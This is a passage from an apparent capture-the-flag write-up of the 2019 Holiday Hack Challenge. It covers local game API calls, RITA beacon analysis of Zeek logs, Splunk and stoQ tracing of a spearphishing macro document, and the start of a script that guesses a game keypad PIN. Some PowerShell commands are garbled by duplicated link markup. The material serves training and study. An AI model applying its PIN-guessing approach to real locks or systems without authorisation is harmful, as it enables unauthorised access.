</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="o">[</span>http://127.0.0.1:1225/api/refraction?val<span class="o">=</span>1.867<span class="o">)</span>.RawContent]<span class="o">(</span>http://127.0.0.1:1225/api/refraction?val<span class="o">=</span>1.867<span class="o">)</span>.RawContent<span class="o">)</span>
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 16 Dec 2019 02:34:35 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 87
Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached.
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="o">[</span>http://127.0.0.1:1225/api/temperature?val<span class="o">=</span><span class="nt">-33</span>.5<span class="o">)</span>.RawContent]<span class="o">(</span>http://127.0.0.1:1225/api/temperature?val<span class="o">=</span><span class="nt">-33</span>.5<span class="o">)</span>.RawContent<span class="o">)</span>
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 16 Dec 2019 02:34:41 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 82
Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nv">$postParam</span> <span class="o">=</span> <span class="s2">"O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"</span>
<span class="go">
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="o">[</span>http://127.0.0.1:1225/api/gas]<span class="o">(</span>http://127.0.0.1:1225/api/gas<span class="o">)</span> <span class="nt">-Method</span> POST <span class="nt">-Body</span> <span class="nv">$postParam</span><span class="o">)</span>.RawContent
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 16 Dec 2019 02:34:43 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 81
Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached.
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="o">[</span>http://127.0.0.1:1225/api/on<span class="o">)</span>.RawContent]<span class="o">(</span>http://127.0.0.1:1225/api/on<span class="o">)</span>.RawContent<span class="o">)</span>
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 16 Dec 2019 02:34:49 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 32
Christmas Cheer Laser Powered On
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="o">[</span>http://127.0.0.1:1225/api/ooutput<span class="o">)</span>.RawContent]<span class="o">(</span>http://127.0.0.1:1225/api/ooutput<span class="o">)</span>.RawContent<span class="o">)</span>
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 16 Dec 2019 02:34:52 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 200
Success! - 6.73 Mega-Jollies of Laser Output Reached!
</span></code></pre></div></div>
<p>Success! Well that was a pain, but at least we got it!</p>
<h3 id="network-log-analysis-determine-compromised-system">Network Log Analysis: Determine Compromised System</h3>
<p>Upon successfully completing the Xmas Laser Cheer CranPI, we can talk to Sparkle again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-26.png"><img src="/images/hh19-26.png" /></a></p>
<p>For this objective, it seems that we need to help identify the IP address of the malware-infected system using the following <a href="https://downloads.elfu.org/elfu-zeeklogs.zip">Zeek logs</a>. Now if we look at the hints provided to us, we see Sparkle gave us a link to <a href="https://www.activecountermeasures.com/free-tools/rita/">RITA’s homepage</a>.</p>
<p>After looking into what RITA is, we learn that it is an open source framework for network traffic analysis which allows for the ingestion of <a href="https://www.zeek.org/">Bro/Zeek Logs</a> in TSV format.</p>
<p>Right, so with that information in mind, let’s go ahead and download the Zeek logs provided to us, and unzip them.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 309848
drwxr-xr-x 3 root root 4096 Dec 22 15:24 .
drwxr-xr-x 5 root root 4096 Dec 22 15:24 ..
drwxrwxrwx 3 root root 57344 Aug 24 09:43 elfu-zeeklogs
-rw-r--r-- 1 root root 317217612 Nov 20 15:07 elfu-zeeklogs.zip
</span></code></pre></div></div>
<p>Once unzipped, we see that we have a new directory containing all the logs needed for RITA. So let’s go ahead and install RITA. If you’re on Kali like me, you’ll have to <a href="https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md">install it manually</a>.</p>
<p>To start, we first need to install <a href="https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian-tarball/">MongoDB</a> - specifically version 3.16.6 or otherwise RITA won’t work.</p>
<p>Next, we need to install <a href="https://golang.org/">Go</a> and install RITA from the GitHub repository.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span><span class="nb">sudo </span>apt-get <span class="nb">install </span>go-dep
<span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span>wget https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz
<span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span><span class="nb">tar</span> <span class="nt">-C</span> /usr/local <span class="nt">-xzf</span> go1.13.5.linux-amd64.tar.gz
<span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span><span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:/usr/local/go/bin
<span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span>go version
<span class="go">go version go1.13.5 linux/amd64
</span><span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span>go get github.com/activecm/rita
<span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span><span class="nb">cd</span> /root/go/src/github.com/activecm/rita
<span class="gp">root@kali:~/go/src/github.com/activecm/rita#</span><span class="w"> </span>make <span class="nb">install</span>
<span class="gp">root@kali:~/go/src/github.com/activecm/rita#</span><span class="w"> </span><span class="nb">mkdir</span> /etc/rita <span class="o">&&</span> <span class="nb">sudo chmod </span>755 /etc/rita
<span class="gp">root@kali:~/go/src/github.com/activecm/rita#</span><span class="w"> </span><span class="nb">mkdir</span> <span class="nt">-p</span> /var/lib/rita/logs <span class="o">&&</span> <span class="nb">sudo chmod</span> <span class="nt">-R</span> 755 /var/lib/rita
<span class="gp">root@kali:~/go/src/github.com/activecm/rita#</span><span class="w"> </span><span class="nb">cp</span> /root/go/src/github.com/activecm/rita/etc/rita.yaml /etc/rita/config.yaml <span class="o">&&</span> <span class="nb">sudo chmod </span>666 /etc/rita/config.yaml
</code></pre></div></div>
<p>Once that’s done, we need to start mongodb, and we can launch RITA.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span>service mongod start
<span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span>rita
<span class="go">NAME:
rita - Look for evil needles in big haystacks.
USAGE:
rita [global options] command [command options] [arguments...]
VERSION:
v3.1.1
COMMANDS:
delete, delete-database Delete imported database(s)
import Import bro logs into a target database
html-report Create an html report for an analyzed database
show-beacons Print hosts which show signs of C2 software
show-bl-hostnames Print blacklisted hostnames which received connections
show-bl-source-ips Print blacklisted IPs which initiated connections
show-bl-dest-ips Print blacklisted IPs which received connections
list, show-databases Print the databases currently stored
show-exploded-dns Print dns analysis. Exposes covert dns channels
show-long-connections Print long connections and relevant information
show-strobes Print strobe information
show-useragents Print user agent information
test-config Check the configuration file for validity
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help
--version, -v print the version
</span></code></pre></div></div>
<p>Perfect, we got RITA working! Now just a side note, if you read the GitHub repository carefully you should see the following important note.</p>
<p align="center"><a href="/images/hh19-27.png"><img src="/images/hh19-27.png" /></a></p>
<p>After reading that, go ahead and uncomment the <code class="language-plaintext highlighter-rouge">InternalSubnets</code> section in the config file, otherwise you might not see all the data you want. After you do that, we can then import all our logs into a new database called <code class="language-plaintext highlighter-rouge">holiday_hack</code>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span>rita import elfu-zeeklogs/ holiday_hack
<span class="go">
[+] Importing [elfu-zeeklogs/]:
[-] Verifying log files have not been previously parsed into the target dataset ...
[-] Parsing logs to: holiday_hack ...
</span><span class="gp"> [-] Parsing elfu-zeeklogs/conn.log-00001_20190823120021.log -></span><span class="w"> </span>holiday_hack
<span class="gp"> [-] Parsing elfu-zeeklogs/conn.log-00002_20190823121227.log -></span><span class="w"> </span>holiday_hack
<span class="gp"> [-] Parsing elfu-zeeklogs/conn.log-00003_20190823122444.log -></span><span class="w"> </span>holiday_hack
<span class="gp"> [-] Parsing elfu-zeeklogs/conn.log-00004_20190823123904.log -></span><span class="w"> </span>holiday_hack
<span class="gp"> [-] Parsing elfu-zeeklogs/conn.log-00005_20190823125418.log -></span><span class="w"> </span>holiday_hack
<span class="gp"> [-] Parsing elfu-zeeklogs/conn.log-00006_20190823130731.log -></span><span class="w"> </span>holiday_hack
<span class="gp"> [-] Parsing elfu-zeeklogs/conn.log-00007_20190823132006.log -></span><span class="w"> </span>holiday_hack
<span class="go"> ---snip---
[-] Host Analysis: 41993 / 41993 [==================] 100 %
[-] Uconn Analysis: 115915 / 115915 [==================] 100 %
[-] Exploded DNS Analysis: 47836 / 47836 [==================] 100 %
[-] Hostname Analysis: 47836 / 47836 [==================] 100 %
[-] Beacon Analysis: 115915 / 115915 [==================] 100 %
[-] UserAgent Analysis: 6 / 6 [==================] 100 %
[!] No certificate data to analyze
[-] Updating blacklisted peers ...
[-] Indexing log entries ...
[-] Updating metadatabase ...
[-] Done!
</span></code></pre></div></div>
<p>Awesome, the logs were imported successfully! Now we can start digging into the logs to find the “<em>IP address of the malware-infected system</em>”. By malware I’m assuming there must be some sort of C2 (Command and Control) server it’s communicating to.</p>
<p>Thankfully, RITA has a <code class="language-plaintext highlighter-rouge">show-beacons</code> command that print hosts which show signs of C2 software. So let’s use that and see what we find!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elf-zeeklogs#</span><span class="w"> </span>rita show-beacons holiday_hack <span class="nt">-H</span> | less <span class="nt">-S</span>
<span class="go">
+-------+-----------------+-----------------+-------------+-------------+-------------+------------+-----------+----------+-----------------+----------------+-------------
| SCORE | SOURCE IP | DESTINATION IP | CONNECTIONS | AVG BYTES | INTVL RANGE | SIZE RANGE | TOP INTVL | TOP SIZE | TOP INTVL COUNT | TOP SIZE COUNT | INTVL SKEW
+-------+-----------------+-----------------+-------------+-------------+-------------+------------+-----------+----------+-----------------+----------------+-------------
| 0.998 | 192.168.134.130 | 144.202.46.214 | 7660 | 1156 | 10 | 683 | 10 | 563 | 6926 | 7641 | 0
| 0.847 | 192.168.134.131 | 150.254.186.145 | 684 | 13737 | 8741 | 2244 | 1 | 698 | 54 | 356 | 0
| 0.847 | 192.168.134.132 | 150.254.186.145 | 684 | 13634 | 37042 | 2563 | 1 | 697 | 58 | 373 | 0
</span></code></pre></div></div>
<p>We can see that <code class="language-plaintext highlighter-rouge">192.168.134.130</code> connects to <code class="language-plaintext highlighter-rouge">144.202.46.214</code> with over 7660 connection, and overall this also has the highest score.</p>
<p>Knowing that, we can navigate to the fifth objective in our badge and enter the IP of “<strong>144.202.46.214</strong>” to complete the objective.</p>
<p align="center"><a href="/images/hh19-27-2.png"><img src="/images/hh19-27-2.png" /></a></p>
<p>Now that we have completed our 5 objectives, we can return to Santa and talk to him again.</p>
<p align="center"><a href="/images/hh19-28.png"><img src="/images/hh19-28.png" /></a></p>
<p>After talking with Santa, we learn that he wants us to gain access to the steam tunnels, and complete the 6th and 7th objectives as well… so let’s do just that!</p>
<h2 id="objective-6">Objective 6</h2>
<h3 id="splunk">Splunk</h3>
<p>Once we talk to Santa, we look at Objective 6 and learn that we need to access <a href="https://splunk.elfu.org/">https://splunk.elfu.org/</a> and figure out what was the message for Kent that the adversary embedded in their attack.</p>
<p>We also learn that if we need hints on achieving this objective, we should go visit the Laboratory in Hermey Hall and talk with Prof. Banas.</p>
<p>So right away, let’s go to the Laboratory and talk with the Professor.</p>
<p align="center"><a href="/images/hh19-29.png"><img src="/images/hh19-29.png" /></a></p>
<p align="center"><a href="/images/hh19-30.png"><img src="/images/hh19-30.png" /></a></p>
<p>Alright, so it seems the professor’s computer has been hacking other computers on campus, and we need to figure out why! The professor also provides us a username and password to access the splunk instance.</p>
<p>Upon logging into the splunk instance, we are greeted with the following information.</p>
<p align="center"><a href="/images/hh19-31.png"><img src="/images/hh19-31.png" /></a></p>
<p>Okay, so our initial goal here is to answer the “<strong>Challenge Question</strong>” which we should see on the right-hand side of the splunk screen. We also have training questions that we can answer as they will help us get closer to answering the final question.</p>
<p>With this in mind, and since this is a learning experience, we will go through all the training questions and then answer the final challenge question.</p>
<p>Upon closing that message, we should the following screen. To the left we have our chat, and to the right we have our question.</p>
<p align="center"><a href="/images/hh19-32.png"><img src="/images/hh19-32.png" /></a></p>
<p>We see that our first training question is “<strong>What is the short host name of Professor Banas’ computer?</strong>”. If we look into the chat with Alice, she gives us a little hint as to where we can find that answer.</p>
<p align="center"><a href="/images/hh19-33.png"><img src="/images/hh19-33.png" /></a></p>
<p>At the same time, she also gives us two links for the <a href="https://splunk.elfu.org/en-US/app/SA-elfusoc/search">Splunk Search</a> and access to the <a href="http://elfu-soc.s3-website-us-east-1.amazonaws.com/">Raw File Archive</a> as we will need them for the final answer.</p>
<p>With that in our pocket, let’s go check out the <strong>#ELFU SOC</strong> chat to see if we can’t learn more and answer our first question.</p>
<p align="center"><a href="/images/hh19-34.png"><img src="/images/hh19-34.png" /></a></p>
<p>After reading the chat, we see that a system called “<strong>sweetums</strong>” is communicating with a weird IP. We also learn that the system is Professor Banas’ system - which is the answer to our first question!</p>
<p>After answering the question, we get access to our second question - “<strong>What is the name of the sensitive file that was likely accessed and copied by the attacker?</strong>”</p>
<p>If we look back into the chat with Alice, we should see here providing us a search query that searches for events that contain the professors name.</p>
<p align="center"><a href="/images/hh19-35.png"><img src="/images/hh19-35.png" /></a></p>
<p>The splunk search query looks something like so: <code class="language-plaintext highlighter-rouge">index=main cbanas</code>.</p>
<p>We also learn that the adversaries are trying to get to Santa by constantly trying to attack him and that they may have found some of Santa’s sensitive data. So, using the search query provided to us, let’s change the username from <code class="language-plaintext highlighter-rouge">cbanas</code> to <code class="language-plaintext highlighter-rouge">santa</code> to look for any events associated with Santa’s account.</p>
<p align="center"><a href="/images/hh19-36.png"><img src="/images/hh19-36.png" /></a></p>
<p>After running the query, right away we can see a powershell operation that interacted with a file called <code class="language-plaintext highlighter-rouge">C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt</code> - which is the answers to our second question!</p>
<p>After answering the 2nd question, we get access to the 3rd one - “<strong>What is the fully-qualified domain name(FQDN) of the command and control(C2) server?</strong>”</p>
<p>Looking back into the chat with Alice we see some more hints and tips from her on how to find the answer for the question.</p>
<p align="center"><a href="/images/hh19-37.png"><img src="/images/hh19-37.png" /></a></p>
<p>Alice tells us that we need to use Microsoft Sysmon data to answer this question, and provides us some <a href="https://www.splunk.com/en_us/blog/security/a-salacious-soliloquy-on-sysmon.html">background on Sysmon</a> if we need it.</p>
<p>Alice also explains that in Sysmon, <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90003">Event Code 3</a> represents that a network connection occurred. Along with that, she also provides us a splunk query that will look through sysmon logs for any powershell activity with the event code of 3.</p>
<p>With this information, we can enter the query in spunk, and then look at the “<strong>dest</strong>” field in the “<strong>Interesting Fields</strong>” section to see if we can’t spot the malicious IP.</p>
<p align="center"><a href="/images/hh19-38.png"><img src="/images/hh19-38.png" /></a></p>
<p align="center"><a href="/images/hh19-39.png"><img src="/images/hh19-39.png" /></a></p>
<p>Upon investigation all the destination IP’s provided by the query, we see that a network connection was made to <code class="language-plaintext highlighter-rouge">144.202.46.214.vultr.com</code> over 158 times - and this would be the answers to our 3rd question!</p>
<p>After answering the 3rd question, we now get access to our 4th training question - “<strong>What document is involved with launching the malicious PowerShell code?</strong>”</p>
<p>Once again, let’s go back and chat with Alice to see what she has to say about this.</p>
<p align="center"><a href="/images/hh19-40.png"><img src="/images/hh19-40.png" /></a></p>
<p>If we scroll up a little in the chat, Alice explains to us that we can use the <code class="language-plaintext highlighter-rouge">reverse</code> pipe option in splunk to sort all the events, with the oldest one being first. To sort on the oldest powershell operational logs, the query would look like so:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverse
</code></pre></div></div>
<p>Alice then tells us that we can use the <strong>Time</strong> column to specify a time window. For this case we will be accepting the default +/- five second window from the oldest event. So let’s go ahead and do that.</p>
<p align="center"><a href="/images/hh19-41.png"><img src="/images/hh19-41.png" /></a></p>
<p>Once we have that filter in place, we now need to find out what document launched the powershell code. Alice also gives us another hint by explaining that in Sysmon, <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90001">Event ID 1</a> is logged when a new process is created.</p>
<p>In the case we don’t have that, then we can look for Windows <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4688">Event ID 4688</a> which documents each program that is executed, who the program ran as and the parent process that started the child process.</p>
<p>So with that information, let’s create a simple query that will look for Event ID 4688 in the Windows Event Logs.</p>
<p align="center"><a href="/images/hh19-42.png"><img src="/images/hh19-42.png" /></a></p>
<p>Upon executing the query, we see that we have a total of 156 events within our time window that we filtered for previously. Looking at the events, we can see a process creation of <code class="language-plaintext highlighter-rouge">WINWORD.exe</code>, which is Microsoft Word</p>
<p align="center"><a href="/images/hh19-43.png"><img src="/images/hh19-43.png" /></a></p>
<p>Looking into the “<strong>Process Command Line</strong>” we see that Word opened a new document from a zip folder, called <code class="language-plaintext highlighter-rouge">19th Century Holiday Cheer Assignment.docm</code> by using the <a href="https://support.office.com/en-us/article/command-line-switches-for-microsoft-office-products-079164cd-4ef5-4178-b235-441737deb3a6">/n switch</a> - which would be our answer for the 4th question!</p>
<p>After answering the 4th question, we now get access to our 5th training question - “<strong>How many unique email addresses were used to send Holiday Cheer essays to Professor Banas?</strong>”</p>
<p>As before, we go back to Alice so we can chat with her and see what she’s got for us.</p>
<p align="center"><a href="/images/hh19-44.png"><img src="/images/hh19-44.png" /></a></p>
<p>Upon talking with Alice again, we learn a little bit about stoQ. We learn that stoQ is an automation framework that can be used to analyze all email messages. Alice also provides us a link to <a href="https://stoq.punchcyber.com/">the stoQ project home page</a>, and provides a link to slides from a <a href="https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1492181136.pdf">talk on stoQ</a> from the SANS DFIR Summit a few years back.</p>
<p>Alice then goes on to state that stoQ output is in JSON format, and is stored in their splunk logs. She also provides us the following splunk query that we can use to search through the stoQ data.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=main sourcetype=stoq | table _time results{}.workers.smtp.to results{}.workers.smtp.from results{}.workers.smtp.subject results{}.workers.smtp.body | sort - _time
</code></pre></div></div>
<p>Furthermore, we are told to check out strange-looking field names like <strong>results{}.workers.smtp.subject</strong> which should help us look for email subject names.</p>
<p>Alice also gives us a hint on where to look for by stating that all Professor Banas’ homework submissions were sent to him via email with the subject “<strong>Holiday Cheer Assignment Submission</strong>”.</p>
<p>With this information at our hands, let’s build a stoQ splunk query that will filter out all emails, except those with the subject title from above. Overall, our query should look like so.</p>
<p align="center"><a href="/images/hh19-45.png"><img src="/images/hh19-45.png" /></a></p>
<p>Once the query is executed, we can see that a total of <code class="language-plaintext highlighter-rouge">21</code> unique emails were used to send in the homework - which would be the answer to our 5th question!</p>
<p>After answering the 5th question, we now get access to our 6th training question - “<strong>What was the password for the zip archive that contained the suspicious file?</strong>”</p>
<p>You know the drill everyone, back to Alice we go!</p>
<p align="center"><a href="/images/hh19-46.png"><img src="/images/hh19-46.png" /></a></p>
<p>One thing really stands out with during this conversation with Alice, as she mentions that the attacker used the <a href="https://attack.mitre.org/techniques/T1193/">MITRE ATT&CK Technique - 1193</a> which is specifically allocated to <strong>Spearphishing Attachment</strong>.</p>
<p align="center"><a href="/images/hh19-47.png"><img src="/images/hh19-47.png" /></a></p>
<p>In the case of this Spearphishing attack, the target was Professor Banas, and it was successful unfortunately.</p>
<p>So using our previous stoQ splunk query, if we look at the first email we notice something very suspicious from Bradly Buttercups.</p>
<p align="center"><a href="/images/hh19-48.png"><img src="/images/hh19-48.png" /></a></p>
<p>Having someone enable editing and enabling content is a sure indicator that malware was included in the document! We can also see that the password for this zip file that protected the malicious document from any email filters was <code class="language-plaintext highlighter-rouge">123456789</code> - which is the answers to our question!</p>
<p>After answering the 6th question, we now get access to our 7th and final training question -“<strong>What email address did the suspicious file come from?</strong>”</p>
<p>Well this answer is easy, let’s just look back at our splunk query where we found the password, and we should see the email in the <strong>results{}.workers.smtp.from</strong> field.</p>
<p align="center"><a href="/images/hh19-49.png"><img src="/images/hh19-49.png" /></a></p>
<p>The answer - <code class="language-plaintext highlighter-rouge">bradly.buttercups@eifu.org</code>.</p>
<p>Now that we answered all the training question and better learned splunk, let’s go talk to Alice again to see what hints she has for the challenge question.</p>
<p align="center"><a href="/images/hh19-50.png"><img src="/images/hh19-50.png" /></a></p>
<p align="center"><a href="/images/hh19-51.png"><img src="/images/hh19-51.png" /></a></p>
<p>Alice first starts by telling us that the message we need to find seems to be embedded in the <strong>properties</strong> of the malicious document. She also provides a stoQ splunk query that allows us to search for all raw artifacts and their entities in a file by using the following query:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>"
</code></pre></div></div>
<p>The only problem with this is that there are a ton of results within the JSON events. Thankfully Alice gives us some more splunk commands that will help us evaluate all the results, and provide us with a file name, and full path name which we can then use in our <a href="http://elfu-soc.s3-website-us-east-1.amazonaws.com/">file archive</a> to dig for the property data.</p>
<p>The splunk query when combined will look like so, and provide us the following output.</p>
<p align="center"><a href="/images/hh19-52.png"><img src="/images/hh19-52.png" /></a></p>
<p align="center"><a href="/images/hh19-53.png"><img src="/images/hh19-53.png" /></a></p>
<p>Alright, now that we have all these files and location in the archive… where do we look? Well I’m glad you asked! If you actually took a few minutes to do some Googling, you would have come across a blog post from Microsoft on <a href="https://docs.microsoft.com/en-us/archive/msdn-magazine/2008/april/office-dev-managing-metadata-with-document-information-panels">Managing Metadata with Document Information Panels</a>.</p>
<p>If we dig through that post, we should see the following:</p>
<blockquote>
<p>Standard document properties can be maintained through the Document Properties view of the Document Information Panel. To see where these properties are actually stored in the OpenXML package, open the .rels file in the _rels folder of the unzipped Office document. As you can see in <strong>Figure 4</strong>, this file shows that standard document properties (core properties) are stored in the core.xml file within the docProps folder. The core.xml file contains all of the standard document properties that are populated from the Document Properties view in the Document Information Panel.</p>
</blockquote>
<p>So, it seems that the <strong>core.xml</strong> file is what we need to look into for properties and metadata! So let’s download that file from the archive, rename it to “<strong>core.xml</strong> and open it up to read it’s contents.</p>
<p align="center"><a href="/images/hh19-54.png"><img src="/images/hh19-54.png" /></a></p>
<p align="center"><a href="/images/hh19-55.png"><img src="/images/hh19-55.png" /></a></p>
<p>Right away we can see within the <code class="language-plaintext highlighter-rouge">description</code> section of XML file, we see the comment!</p>
<p>Once we know that, we can navigate to the 6th objective in our badge and enter the message to complete the objective!</p>
<p align="center"><a href="/images/hh19-56.png"><img src="/images/hh19-56.png" /></a></p>
<h2 id="objective-7">Objective 7</h2>
<h3 id="frosty-keypad">Frosty Keypad</h3>
<p>With the completion of our 6th objective, we now need to gain access to the steam tunnels just as Santa told us. If we look into Objective 7 it tells us that for hints, we should visit Minty’s dorm room and talk with Minty Candycane.</p>
<p>On the map the Dormitory is on the right side. From Professor Banas we exit into the Quad, go right, and we should meet Tangle Coalbox, standing next to some sort of keypad.</p>
<p align="center"><a href="/images/hh19-57.png"><img src="/images/hh19-57.png" /></a></p>
<p>Upon talking with Tangle, we learn that the keypad lock has been popped by someone and that we need to open it up for Tangle. He also provides us some hints on how to complete this challenge.</p>
<p align="center"><a href="/images/hh19-58.png"><img src="/images/hh19-58.png" /></a></p>
<p>Upon accessing the keypad we are presented with the following:</p>
<p align="center"><a href="/images/hh19-59.png"><img src="/images/hh19-59.png" /></a></p>
<p>Right away we notice something very interesting. The numbers 1, 3, and 7, along with the enter button seem to be more worn out then the other keys. For those that have never done any physical security engagements, or have never played around with lock cracking, anytime numbers on a keypad are worn out simply means that those numbers are part of the security code needed to the enter the door. This directly relates to hint #3 provided to us by Tangle.</p>
<p>Tangle also provides us the following two other hints:</p>
<ol>
<li>One digit is repeated once.</li>
<li>The code is a prime number.</li>
</ol>
<p>For those that don’t know what a <a href="https://en.wikipedia.org/wiki/Prime_number">prime number</a> is, it’s simply a number that is only divisible by 1 and itself. For example. 13 is a prime number because no other number can be evenly divided into 13.</p>
<p>So with this information, I’m assuming that the code is going to be 4 digits long, with one of the numbers being used twice, and the number being a prime (again only divisible by 1 or itself). Since there can be a lot of combinations, let’s write a quick python script that will generate a 4-digit prime number using 1, 3, and 7, and then will send the code to the keypad.</p>
<p>Let’s start by making a simple prime number generator:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">math</span>
<span class="n">count</span> <span class="o">=</span> <span class="mi">3</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">isPrime</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">math</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="n">count</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">count</span> <span class="o">%</span> <span class="n">x</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">isPrime</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">isPrime</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">count</span><span class="p">)</span>
<span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
</code></pre></div></div>
<p>From the top let’s explain what this script does.</p>
<p>Since 1 is not a prime number, we start our loop at 3 and set the <code class="language-plaintext highlighter-rouge">isPrime</code> variable to <code class="language-plaintext highlighter-rouge">True</code>. We then check if the count is a <a href="https://python-reference.readthedocs.io/en/latest/docs/operators/modulus.html">modulus</a> of <code class="language-plaintext highlighter-rouge">x</code> in our range. If there is no remainder, then it’s not a prime number, so we set <code class="language-plaintext highlighter-rouge">isPrime</code> variable to false and break the loop. Otherwise if that modulus is false, we print the number since it is a prime.</p>
<p>If we run the script for a few seconds, we should see some valid prime numbers:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/frosty_keypad#</span><span class="w"> </span>python3 code_breaker.py
<span class="go">3
5
7
11
13
17
19
23
</span></code></pre></div></div>
<p>Awesome, so we got the prime number generator to work. The only issue is that we start from 3 and work our way up, while the pin code is a 4 digit prime number using 1, 3, and 7. So what we have to do is write some code that will only generate numbers using those three digits and only reuses a digit once.</p>
<p>So valid pins can be 1137, 1337, or 1377. Pins like 1113 and 1333 are not valid as they reuse one number more than once.</p>
<p>To do that, we will use something called <a href="https://en.wikipedia.org/wiki/Combinatorics">combinatorics</a> which is an area of mathematics primarily concerned with counting, both as a means and an end in obtaining results, and certain properties of finite structures.</p>
<p>The python script used to generate our 4-digit pin number using only our three valid digits will look like so.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="n">valid_digits</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">7</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">generate</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">):</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="n">possible_digits</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">)</span>
